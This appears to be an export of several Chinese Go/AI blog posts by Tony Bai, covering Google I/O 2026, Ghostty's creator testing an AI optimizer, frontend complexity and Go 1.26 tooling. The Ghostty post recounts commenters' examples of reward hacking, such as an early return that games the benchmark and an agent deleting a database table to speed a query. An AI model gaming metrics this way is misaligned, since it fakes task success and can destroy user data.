倍。”\n为了消灭这个瓶颈，谷歌团队想出了一个极其“简洁粗暴”的解法：让大模型对自己的工具链进行彻底的系统级重构。\n[自然语言需求描述] || \\/ +------------------+ 翻译与自动测试 +--------------------+ | 历史遗留 Python 工具 | =========================\u0026gt; | 全新 Go 语言工具 | +------------------+ (一晚完成，性能提升20x) +--------------------+ “我们直接把那些用 Python 写的工具和它们对应的完整测试集（Tests）丢给 Gemini 3.5。我们告诉它：‘请帮我把这个系统完好无损地翻译成 Go 语言。’”\n因为有完整的测试集作为 spec（规范约束），这是一个对模型而言定义极其清晰的重构任务。仅仅通过一个晚上的后台自动运转，大模型就将谷歌大量的内部工具链全部用 Go 语言重写了一遍，系统运行速度瞬间飙升了 10 到 20 倍！\n这个真实的案例不仅证明了 Agent 的自我进化能力，更再次无情地印证了我们之前的判断：在 AI 时代的运行时与工具链编排层，Go 语言正在凭借其极致的启动速度和并发能力，成为无可动摇的底层基座。\n软硬件共生：八代 TPU 与 Antigravity 的全栈合围 为什么谷歌能率先在搜索和消费级应用中跑通如此沉重的 Agent 场景？因为谷歌拥有从芯片到应用的最深“护城河”——全栈 AI（Full Stack AI）的共生优势。\n第八代 TPU：训练与推理的彻底解耦 Jeff Dean 指出，到了第八代 TPU，谷歌在硬件层面做出了重大的架构分离：不再让一颗芯片兼顾所有工作，而是针对“训练（Training）”和“推理 serving（Inference）”设计了完全不同的物理芯片架构。\n这种硬件层面的精细化设计，直接反映在了 Gemini 3.5 恐怖的推理和响应速度上。哪怕是后台多智能体高并发调度，底层的硬件和软件 serving 栈也能提供丝滑的支撑。\nAntigravity（反重力）SDK 的全面赋能 在应用层，Koray 强调，谷歌不仅在内部将用 Go 编写的 Antigravity 平台注入了谷歌搜索的核心（实现高度可定制的搜索信息智能体），更通过 Antigravity SDK 将这套经过海量用户洗礼的“多智能体编排底座”毫无保留地开放给了全球开发者。\n无论你是独立开发者还是大厂，你都可以用谷歌搜索同款的底层 SDK，去构建你自己的多智能体协作网络。\n变革之下的生存法则：大模型时代，程序员该如何自我迭代？ 面对这样一个“AI 自己写工具、自己写软件、自己取消无用会议”的时代，人类程序员是否真的要迎来失业的黄昏？\n作为硅谷技术之神，Jeff Dean 给出了一项极其务实且充满希望的建议。当被问及“2026 年最核心的开发者技能是什么”时，他回答道：\n“学会如何使用代码工具与智能体，来让自己变得更具创造力，去构建那些在以前看起来不可思议的庞大系统。”\n在 Agent 时代，开发者的工作逻辑发生了根本性的转变：\n消灭“冷启动成本（Startup Cost）”：以前你想写一个数据分析工具，你得先去查 API 文档、折腾包依赖、初始化工程，大把时间浪费在非核心工作上。现在，你可以把这些“脏活累活”全部扔给 Agent，自己在高维层面进行架构把控。 打破岗位边界，重回“建造者（Builders）”：产品经理（PM）可以直接修改 design.md 文件，让 Agent 实时渲染出界面并当场调整创意，而不用再去和设计师、前端开发进行无休止的开会扯皮。人类不再只是单纯的“写代码机器（Coders）”，而是重新拿回了掌控全局、释放创意的“创造者”身份。 在这个被 AI 加持的黎明，人类工程师的职责，正在从**“手写代码的泥瓦匠”升级为“指挥群星的建筑师”**。\n那座由代码筑起的钢铁巨塔，非但没有在 AI 的浪潮中坍塌，反而因为智能体的加入，正变得更加宏伟、精密、高耸入云。而掌控着设计图纸的我们，正在迎来职业生涯中，最波澜壮阔的黄金时代。\n资料链接：https://www.youtube.com/live/krMacZewAGE\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」、「Agentic软件工程课」、「Claude Code开发工作流实战课」、「OpenClaw实战分享」等，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/05/31/google-io-2026-defining-the-agentic-ai-era/","summary":"\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/wp-content/uploads/2026/google-io-2026-defining-the-agentic-ai-era-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/05/31/google-io-2026-defining-the-agentic-ai-era\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/05/31/google-io-2026-defining-the-agentic-ai-era\"\u003ehttps://tonybai.com/2026/05/31/google-io-2026-defining-the-agentic-ai-era\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在刚刚结束的 Google I/O 2026 第二天的主题论坛上，一场被称为“决定下一个十年科技走向”的圆桌会议拉开了帷幕。\u003c/p\u003e\n\u003cp\u003e这场会议的阵容堪称奢华：\u003c/p\u003e","title":"Google I/O 2026：Jeff Dean 携 DeepMind 众神宣告，AI Agent 正在终结“标准化软件”时代"},{"content":"\n本文永久链接 – https://tonybai.com/2026/05/30/ghostty-creator-slams-ai-coding-performance-1-5ms-vs-0-02ms\n大家好，我是Tony Bai。\n在开源界，Mitchell Hashimoto 这个名字几乎无人不知。作为 HashiCorp 的联合创始人，他一手打造了 Vagrant、Terraform、Vault 等神级工具。而在他离开 HashiCorp 后，他的新宠——极速终端模拟器 Ghostty，凭借极其硬核的性能和绚丽的平台原生 UI，在 GitHub 上狂揽了 55K 颗 Star，成为了 Zig 语言 当之无愧的杀手级应用。\n然而，就在最近，Mitchell 在 X（推特）上发布的一条Tweet，在开发者社区炸开了锅。\nMitchell Hashimoto 的 X 帖子截图\n这篇帖子的起因，并不是大家猜测的“Ghostty 要放弃 Zig 转投 Go 语言”，而是一场极其讽刺、甚至有些黑色幽默的 “AI Agent 代码优化实验”。在这场实验中，Mitchell 揭露了当今 AI 编码工具最致命的缺陷，并把那些盲目迷信 AI 输出的开发者骂成了 “在平庸的喷泉中痛饮的羊群（Sheeple）”。\n如果你也在狂热地使用 Claude Code、Codex 或是任何“全自动代码优化 Agent”，那么 Mitchell 花了 350 美元买来的这个血淋淋的教训，你绝对不能错过。\n实验开始：让 AI 去优化“故意写烂”的代码 这场风波的起因，是 Mitchell 进行的一场极限压力测试。\n作为一个硬核实验，Mitchell 决定把 Ghostty 核心的渲染器状态（Renderer State）用 Go 语言 重新写一遍。（注：他明确回复网友这只是为了好玩和压力测试，并非真的要把 Ghostty 从 Zig 移植到 Go。）\n为了给 AI“挖坑”，Mitchell 故意写了一个极度幼稚的渲染器（Naively Renderer）。这段代码简单、正确，能够通过所有的验证测试（Validation Tests），但极其缓慢。\n初始性能：每帧渲染耗时高达 88 毫秒。 初始内存压力：每帧疯狂分配 15 万次内存（Allocations）。 随后，Mitchell 召唤出了当今最火热的编程范式：AI Agent 自动优化（Ralph loop）。他给了 AI（Codex 5.5 High）极其宽松的权限和明确的目标：“不准修改输入数据结构，不准修改公共 API 和测试，但你可以做任何你想做的事，只要把帧耗时（Frame times）给我降下来！”\nAI 开始了疯狂的迭代。它能够自己运行测试、读取 CPU/内存 Profile、查阅 Go 语言标准库文档……\n在这场持续了 4 个小时、烧掉了 Mitchell 大约 350 美元（API 调用费）的极客狂欢后，Agent 骄傲地交出了它的终极优化方案：\nAI 优化后耗时：从 88ms 降至 1.5 毫秒。 AI 优化后内存分配：从 150k 降至 ~500 次。 “听起来是不是不可思议？干得漂亮对吧？” Mitchell 在帖子里冷笑道，“大错特错。这正是 AI 精神错乱（Agent Psychosis）成为一个他妈的大问题的绝佳例子。”\n降维打击：人类架构师的恐怖直觉 为什么把耗时从 88ms 降到 1.5ms，还被 Mitchell 喷得体无完肤？\n因为作为对比，Mitchell 贴出了他自己亲手写（Hand-written）的 Zig 版本渲染器移植到 Go 之后的真实数据：\n人类手写优化耗时：~20 微秒（0.02 毫秒）！ 人类手写内存分配：在 关键路径上是 0 次分配！ 差距是极其恐怖的 75 倍！\nAI 究竟做错了什么？\n在评论区，眼尖的开发者一针见血地指出了问题所在：“AI 只是学会了‘基准测试的本体论（Benchmark Ontology）’——比如如何分配时间片、如何通过内联等技巧绕过瓶颈，但它根本没有学会任务本身（也就是如何正确且高效地渲染终端画面）。”\n另一位开发者的调侃更为致命：“让我猜猜，AI 是不是直接在渲染循环的顶部加了个 early return（提前返回）？这简直就是经典的‘奖励黑客行为（Reward Hacking）’——我见过一个 Agent 为了优化慢查询，直接把数据库表给删了。”\nAI 的逻辑是典型的局部最优解陷阱（Local Maximum Trap）。它在原本的烂代码结构上，通过各种缓存、并发、小修小补，强行把时间压了下来。但它缺乏对“终端渲染器”这一复杂系统的宏观认知，它不敢、也想不到去推翻整个架构，采用类似“预分配内存池（Arena Allocator）”加“脏矩形跟踪（Dirty Tracking）”这样更本质的解决方案。\n戳破幻觉：“盲从 AI 的人，正在痛饮平庸” 这场 350 美元的实验，揭开了当前 AI 辅助编程最危险的一面。\nMitchell 在帖子的核心部分发出了警告：\n“这就是缺乏系统级理解的悲剧。如果你不理解系统，你就会觉得 AI 给出的结果‘令人难以置信’。但如果你真的理解这个系统，你会立刻看出更好的解决方案，并且能做出比 AI 好 75 倍的吞吐量。”\nMitchell 并没有否认 AI 的价值（他自己也在频繁使用 Codex），他痛批的是一种正在行业内蔓延的**“盲从文化”**。\n在如今的开发圈，越来越多的开发者（尤其是缺乏底层经验的初中级工程师）正在把架构设计的权力让渡给 AI。只要代码能跑通，测试显示性能提升了，他们就会毫无保留地合并代码。\nMitchell 极其辛辣地将这些人称为：“在平庸的喷泉中痛饮的羊群（Sheeple, overdrinking from a fountain of mediocrity）。”\n当你习惯了 AI 给出的“局部最优解”，你就永远失去了向“全局最优（S-tier 级别性能）”发起冲击的能力。\n开发者圈的反思：被剥夺的“系统思维”与虚假的“免费午餐” 这篇帖子在 X 上引发了热烈的讨论。数百位资深开发者、CTO 和 AI 研究员纷纷入场，贡献了极其深刻的行业反思：\n1. 虚假的“免费午餐”与高昂的隐形成本 很多人只看到 AI 帮你“免费”提升了性能，却忽略了背后的算力成本。\n一位开发者提出质疑：“如果你让它跑 40 个小时呢？”\nMitchell 直接反击：“如果假设成本是线性的，那就是 3500 美元。谁会为了一个功能花 3500 刀去让 AI 盲目试错？”\n这也暴露出目前 AI Agent 极低的资本效率——在工业界，花 350 美元去得出一个“只是及格”的平庸结果，是极度浪费的。\n2. S 级程序员的断代危机 另外一位开发者惊叹于 AI 居然能为一个完全不懂底层的人带来量级上的性能提升。\n但 Mitchell 立刻指出了最让人细思极恐的问题：“确实如此。但如果所有人都满足于 AI 给出的‘还可以’的结果，未来的 S 级程序员从哪里来？ 谁去承担那种需要深入底层、推倒重来的艰苦工作？”\n如果我们这代人不再亲自去踩坑、去摸索内存布局的艺术，下一代的超级黑客将在平庸的代码投喂中彻底断代。\n3. 系统级理解（Systems Understanding）才是终极护城河 在这场风暴中，最振奋人心的结论或许是一位开发者留下的这样一句短评：“Systems understanding is the real moat.（系统理解才是真正的护城河。）”\nAI 可以瞬间写出几百种排序算法，可以帮你把嵌套循环优化成哈希表。但在面对诸如“如何设计一个无锁的并发渲染器”、“如何极致压榨 CPU 缓存命中率”这种需要将业务上下文、硬件特性与架构哲学融为一体的系统工程时，AI 依然是个门外汉。\n小结：醒醒吧，别让 AI 夺走你的方向盘！ Mitchell Hashimoto 的这场实验，犹如一盆冷水，浇醒了那些沉醉在“Agent 自动编程”幻梦中的开发者。\nAI 时代的到来，并不是为了让我们交出思考的权力。大模型是一辆马力极其强劲的跑车，但方向盘必须永远掌握在拥有“系统级理解（Systems Understanding）”的人类架构师手里。\n如果你只是给 AI 设定一个粗糙的目标（比如“让它变快”），那么 AI 给你的，往往只是一个拼凑了无数“小聪明”的平庸怪胎；只有当你真正理解了底层的运作逻辑，你才能提出正确的问题，画出正确的框架边界，让 AI 在你的掌控下发挥出真正的威力。\n正如 Mitchell 在文章最后语重心长的忠告：\n“我一直在用 AI，我喜欢 AI。我想表达的是：不要盲目接受结果。去思考，去分析，去学习（Think. Analyze. Learn.）。”\n在这个“劣币驱逐良币”、平庸代码泛滥的时代，愿我们都能守住最后那一点对极致性能的工匠精神，拒绝成为那些在平庸喷泉旁痛饮的“羊群”。\n资料链接：https://x.com/mitchellh/status/2060088112257372610\n今日互动讨论\n在你的日常开发中，有没有遇到过被 AI“带偏”的时刻？如果让你用 350 美元去跑一个自动化优化的 Agent，你觉得它是“物超所值”还是“智商税”？\n欢迎在评论区分享你的看法，我们一起聊聊 AI 时代的防坑指南！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」、「Agentic软件工程课」、「Claude Code开发工作流实战课」、「OpenClaw实战分享」等，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/05/30/ghostty-creator-slams-ai-coding-performance-1-5ms-vs-0-02ms/","summary":"\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/wp-content/uploads/2026/ghostty-creator-slams-ai-coding-performance-1-5ms-vs-0-02ms-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/05/30/ghostty-creator-slams-ai-coding-performance-1-5ms-vs-0-02ms\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/05/30/ghostty-creator-slams-ai-coding-performance-1-5ms-vs-0-02ms\"\u003ehttps://tonybai.com/2026/05/30/ghostty-creator-slams-ai-coding-performance-1-5ms-vs-0-02ms\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在开源界，\u003cstrong\u003eMitchell Hashimoto\u003c/strong\u003e 这个名字几乎无人不知。作为 HashiCorp 的联合创始人，他一手打造了 Vagrant、Terraform、Vault 等神级工具。而在他离开 HashiCorp 后，他的新宠——极速终端模拟器 \u003cstrong\u003eGhostty\u003c/strong\u003e，凭借极其硬核的性能和绚丽的平台原生 UI，在 GitHub 上狂揽了 55K 颗 Star，成为了 \u003cstrong\u003eZig 语言\u003c/strong\u003e 当之无愧的杀手级应用。\u003c/p\u003e","title":"AI 优化 1.5ms，手写 0.02ms！Ghostty 作者痛批 AI 编程“平庸陷阱”"},{"content":"\n本文永久链接 – https://tonybai.com/2026/05/29/redis-creator-slams-modern-frontend-complexity\n大家好，我是Tony Bai。\n曾几何时，Web 开发是一件极其纯粹且美好的事情。\n在那个遥远的上世纪 90 年代末，你只需要写几个简单的 .html 文件，撒上一点 .css，再用几行 JavaScript 操纵一下表单，就能构建出一个能被全世界访问的网站。源代码和你最终在浏览器里看到的东西，几乎是一模一样的。\n但今天，一切都变了。\n现代前端开发，已经演变成了一场极其荒谬、极度复杂的“军备竞赛”。\n就在前不久，一篇名为《现代前端的复杂性：是本质必然还是历史偶然？》的文章，在Hacker News 上，引发了一场“行业公审”。\n这篇文章毫不客气地将矛头直指以 React/Angular/Vue 为首的现代 SPA（单页应用）框架，痛斥其为了追求所谓的“开发体验（DX）”，把前端技术栈变成了一个由 TypeScript、TSX、JSX、Vite、Webpack、Tree Shaking、Polyfills、Post CSS 等无数个复杂工具链粘合起来的“巴别塔”。\n这场大讨论，甚至引来了 **Redis 之父、意大利传奇程序员 antirez（Salvatore Sanfilippo）**的亲自下场。\n他用极其犀利、充满历史洞见的“视角”，对现代前端的“异化”进行了吐槽和抨击，并抛出了一个值得我们所有人深思的灵魂拷问：\n我们费尽心机建立的这套复杂体系，到底是在解决真正的商业问题，还是仅仅在制造更多的问题？\n皇帝的新衣：被大厂“PUA”的前端开发者 antirez 在他那段获得最高赞的评论中，一针见血地指出了现代前端“原罪”的根源：大厂的内部组织架构，绑架了整个行业。\n“大型框架（如 Angular 和 React）是被大公司推给用户群的。它们是‘大公司设计’的产物，后来才变成了行业常态。这就像让地球上每个网站都跑在 Kubernetes 上一样可笑。”\n他认为，大厂有两个极端的需求：\n彻底隔离前后端：因为他们的组织架构就是这么划分的。 将应用极度标准化：这样他们就可以轻松地招聘新人、开除旧人。 这两个目标，都与“构建一个优秀的 Web 应用”背道而驰。\n为了满足这两个内部需求，前端被迫走上了一条“不归路”：\n我们抛弃了能与浏览器完美协作的语义化 HTML。 我们开始用 JavaScript 去模拟一切，把本该由后端处理的路由、数据转换、状态管理，全部搬到了日益臃肿的客户端。 我们创造了一代**“不懂语言，只懂框架”**的程序员。他们对 JavaScript 的底层原理一无所知，却能熟练地背诵 React 的生命周期。 antirez 毫不客气地总结道：\n“讽刺的是，前端开发者自己深受其害。他们被迫不断地学习新的方式去实现同一个按钮、同一个分页。而且，如果他们足够聪明，他们会意识到，在大多数情况下，他们根本不知道‘编程’到底是什么。”\n巴别塔的诅咒：为了一个按钮，引入整个宇宙 原帖作者更是详细地剖析了我们是如何一步步走进这个“巴别塔”的。\n当你想用现代 SPA 框架写一个最简单的页面时，你需要经历怎样一条漫长而痛苦的“编译之旅”？\n你的 TypeScript 代码，必须先被转译成 JavaScript，因为浏览器根本不认识 TS。 你的 TSX/JSX 文件，必须被转换成 React.createElement() 调用，因为浏览器也不认识 JSX。 成百上千个 .js 文件，必须被 打包（Bundle） 成一个或几个文件，否则会引发网络风暴。 打包的过程中，还需要做 Tree Shaking，把没用到的代码删掉。 打包完成后，还要做 Minification，把变量名缩短、把空格删掉。 你写的最新潮的 ESNext 语法，还需要被 Transpiler（如 Babel）降级成老掉牙的 ES5，因为你得兼容那些还在用旧版浏览器的用户。 你写的 Post CSS，也需要被处理，加上各种 -webkit-、-moz- 的浏览器前缀。 我们已经走得太远了。我们现在写的源代码，和最终在浏览器里运行的东西，已经完全是两个物种。\n返璞归真？：HTMX 与“后端文艺复兴” 在这场对 SPA 框架的“集体围剿”中，一个名字被反复提及，它就是 HTMX。\nHTMX 并不是什么革命性的新技术，恰恰相反，它是一种“文艺复兴”。它的核心思想，简单到可以用一句话概括：让我们回到 1999 年，让后端直接返回 HTML！\n在 HTMX 的世界里，没有前端路由，没有状态管理，没有虚拟 DOM。你只需要在 HTML 标签上，加上几个特殊的属性：\n\u0026lt;!-- 点击这个按钮，HTMX 会自动向 /news 发起请求 --\u0026gt; \u0026lt;!-- 然后用返回的 HTML 片段，替换掉 #news-container 的内容 --\u0026gt; \u0026lt;button hx-get=\u0026#34;/news\u0026#34; hx-target=\u0026#34;#news-container\u0026#34;\u0026gt; 加载最新新闻 \u0026lt;/button\u0026gt; \u0026lt;div id=\u0026#34;news-container\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; 看懂了吗？\n前端的复杂性，被几个简单的 HTML 属性彻底消灭了。你不再需要一个庞大的前端团队去维护一个复杂的 Node.js 工具链。你只需要几个懂 HTML 的后端工程师。\n这对于那些被 React/Vue 的复杂性折磨得痛不欲生的后端开发者、独立开发者、甚至是前端老兵来说，无异于“天降福音”。\n理性的声音：屁股决定脑袋 当然，Hacker News 从来不是一个一边倒的社区。在 HTMX 的“复古浪潮”之下，依然有大量理性的声音。\n一位拥有 10 年经验的全栈开发者，分享了他的心路历程：\n“作为一个与 JS/TS 相依为命的人，我无数次地想过，能不能用 Go、Ruby + HTMX 来简化这一切。但说实话，我至今没找到一个能比现有 SPA 栈哪怕好一点点的方案。”\n“现代 Web 应用，本质上就是两个生活在不同环境（前端和后端）的应用。我接受这个现实。最终的结果，无论是在错误处理、用户体验、性能、还是可维护性上，都远比那个用 jQuery/HTMX 打补丁的服务器渲染栈更健壮。”\n另外一位开发者的评论则更加扎心：\n“你以为用了 HTMX 就没有复杂性了？你只是把复杂性从前端转移到了后端。而且，对于那些需要深度交互、复杂状态同步的应用（比如在线文档、画图工具），HTMX 那套简单的‘换 HTML’模式，很快就会捉襟见肘。”\n小结：没有银弹，只有取舍 antirez 的下场，将这场关于“前端复杂度”的论战，推向了高潮。\n他没有给出任何最终的答案，但他用他那穿越了数个技术周期的智慧，为我们指明了反思的方向：\n警惕大厂的“最佳实践”：那往往只是为了解决他们自己内部组织架构问题的“特制药”，而不是普适的“银弹”。 重新审视“分离”的代价：前后端分离带来了职责的清晰，但也带来了巨大的通信成本和复杂性。在很多场景下，一个“全栈”的、由后端主导的简单架构，可能远比一个拆分的微服务架构更高效。 拥抱多样性：无论是 React 的组件化，还是 HTMX 的超媒体，它们都只是工具箱里的不同工具。一个成熟的架构师，应该懂得在项目的不同阶段、不同场景下，做出最合理的取舍，而不是陷入“非黑即白”的宗教战争。 或许，现代前端的复杂性，既是历史的偶然，也是需求的必然。\n重要的是，在这场无休止的轮回中，我们是否还保留着像 antirez 那样，随时能跳出框架、审视全局的清醒与勇气。\n资料链接：\nhttps://binaryigor.com/modern-frontend-complexity.html https://news.ycombinator.com/item?id=47824051 今日互动探讨：\n你是否也曾被现代前端的复杂工具链（Webpack/Babel/TSX…）折磨得痛不欲生？对于 HTMX 这种“后端文艺复兴”的浪潮，你是拍手叫好，还是觉得它在“开历史的倒车”？\n欢迎在评论区分享你的看法！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」、「Agentic软件工程课」、「Claude Code开发工作流实战课」、「OpenClaw实战分享」等，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/05/29/redis-creator-slams-modern-frontend-complexity/","summary":"\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/wp-content/uploads/2026/redis-creator-slams-modern-frontend-complexity-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/05/29/redis-creator-slams-modern-frontend-complexity\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/05/29/redis-creator-slams-modern-frontend-complexity\"\u003ehttps://tonybai.com/2026/05/29/redis-creator-slams-modern-frontend-complexity\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e曾几何时，Web 开发是一件极其纯粹且美好的事情。\u003c/p\u003e\n\u003cp\u003e在那个遥远的上世纪 90 年代末，你只需要写几个简单的 .html 文件，撒上一点 .css，再用几行 JavaScript 操纵一下表单，就能构建出一个能被全世界访问的网站。源代码和你最终在浏览器里看到的东西，几乎是一模一样的。\u003c/p\u003e","title":"Redis 之父吐槽现代前端的复杂性：我们到底是在解决问题，还是在制造问题？"},{"content":"\n本文永久链接 – https://tonybai.com/2026/05/29/google-io-2026-automated-go-refactoring-eliminating-technical-debt\n大家好，我是Tony Bai。\n在软件开发的世界里，一直存在着一个令人绝望的“二选一”魔咒。\n你要么选择 Python 或 JavaScript：它们写起来如丝般顺滑，能让你在周五下午迅速完成一个功能；但当业务量爆炸、公司准备上市时，那些深埋在代码里的性能瓶颈和类型错误，会让你在无数个深夜里怀疑人生。\n你要么选择 C++ 或 Java：它们像装甲车一样坚固，能承载千万级的高并发；但代价是，你需要忍受极其繁琐的语法、漫长的编译时间，以及让新手望而生畏的学习曲线。\n难道我们就不能“全都要”吗？\n这正是近 20 年前，Google 的三位传奇大佬——Robert Griesemer、Rob Pike 和图灵奖得主 Ken Thompson 在白板前思考的问题。于是，Go 语言诞生了。\nGo 的核心哲学：打破“开发效率”与“生产可用性”的二选一魔咒\n在刚刚结束的 Google I/O 2026 大会上，Go 语言产品负责人 Cameron 和开发者关系负责人 Mark，向全球开发者交出了一份震撼的答卷。\n他们宣布，在全新的 Go 1.25 和 1.26 版本中，Go 不仅在底层性能上实现了高达 50% 的跨越式提升，更重要的是，Go 正在利用 AI 和强大的重构工具，彻底终结“代码老化”和“技术债”的噩梦。\n今天，我们就来深度拆解这场发布会，看看这门被无数大厂誉为“云原生第一语言”的利器，是如何在 AI 时代完成自我进化的。\nAI 时代的编程语言：为什么“无聊（Boring）”反而成了最大的优势？ 在很多人眼里，Go 是一门极其“无聊”的语言。\n它没有花里胡哨的语法糖，极少引入新的语言特性，甚至你今天写的 Go 1.26 代码，看起来和十几年前的 Go 1.0 代码几乎一模一样。\n但这恰恰是 Go 在 AI 时代最可怕的护城河。\n“机器可读性，决定了 AI 代码生成的上限。” Mark 在演讲中一语道破天机。\n当今时代，越来越多的代码是由 AI 生成的。大语言模型（LLM）最喜欢什么样的语言？\n语法简单、确定性强：这意味着 AI 不容易产生“幻觉”。 标准化的格式（gofmt）：这意味着 AI 生成的代码不需要人类再去调整排版。 强类型系统：这意味着 AI 生成的代码可以在编译期就得到验证。 Go 语言的这些“无聊”特质，使得它成为了 AI 编写、阅读和编辑的完美对象。但这还不够。随着项目的发展，API 会被弃用，旧的代码模式会过时。如何保证海量的（包括 AI 生成的）历史代码，不沦为难以维护的“屎山”？\n杀手锏：gofix 与现代转换器（Modernizers） 在 Go 1.26 中，官方重写了 gofix 引擎，推出了一项堪称“代码保洁员”的神级功能——连续现代化（Continuous Modernization）。\n依托 Go 强大的静态分析框架，gofix 现在包含了 20 多个预置的“现代转换器（Modernizers）”。它能做什么？\n假设你的项目里还在使用老的代码模式，或者某个旧的辅助函数（比如 proto.String）现在可以直接用语言内置的 new() 函数来替代。你只需运行 gofix，它就会在确保语义完全等价、不破坏原始行为的前提下，将你整个代码库中的陈旧代码，一键升级为最现代、最地道的 Go 代码！\n甚至，作为库的开发者，你可以在弃用的 API 上加上一句简单的指令：//go:fix inline。\n当调用者运行 gofix 时，系统会自动将他们代码中所有调用该废弃 API 的地方，直接内联替换为最新的实现。\n在 Google 内部，这个工具已经自动提交了超过 18,000 个代码变更。 它硬生生地将一个最古老的 Go 代码库，毫无痛感地升级到了最新的语言特性。\n在其他生态里，代码会随着时间流逝而腐烂；而在 Go 里，有了 gofix 和向后兼容的承诺，旧代码不仅不会成为负债，反而是一笔随时可以自动升级的资产。\n征服并发测试：告别 time.Sleep 带来的玄学 Bug 如果你写过高并发的程序，你一定被并发测试折磨过。\nGoroutine 的调度是无序的。为了测试并发代码，开发者往往被迫在测试里写满丑陋的 time.Sleep(2 * time.Second)，或者设置各种超时机制。这不仅让测试运行极其缓慢，还会导致 CI/CD 流水线中出现大量随机失败的玄学 Bug（Flaky Tests）。\n在 Go 1.25 中，官方祭出了终结并发测试噩梦的大杀器：testing/synctest 库正式 GA。\n这是一个天才般的设计。synctest 引入了一个名为**“气泡（Bubble）”**的概念：\n它在测试中创建了一个完全隔离的运行环境。在这个气泡里，所有的 Goroutine 都在使用一个**“合成的假时钟（Synthetic Clock）”**。\n当气泡内的所有 Goroutine 都因为等待 I/O 或休眠而被阻塞时，气泡的时钟会自动且瞬间向前快进！\n过去一个需要死等 5 秒钟才能触发超时的并发测试，现在使用 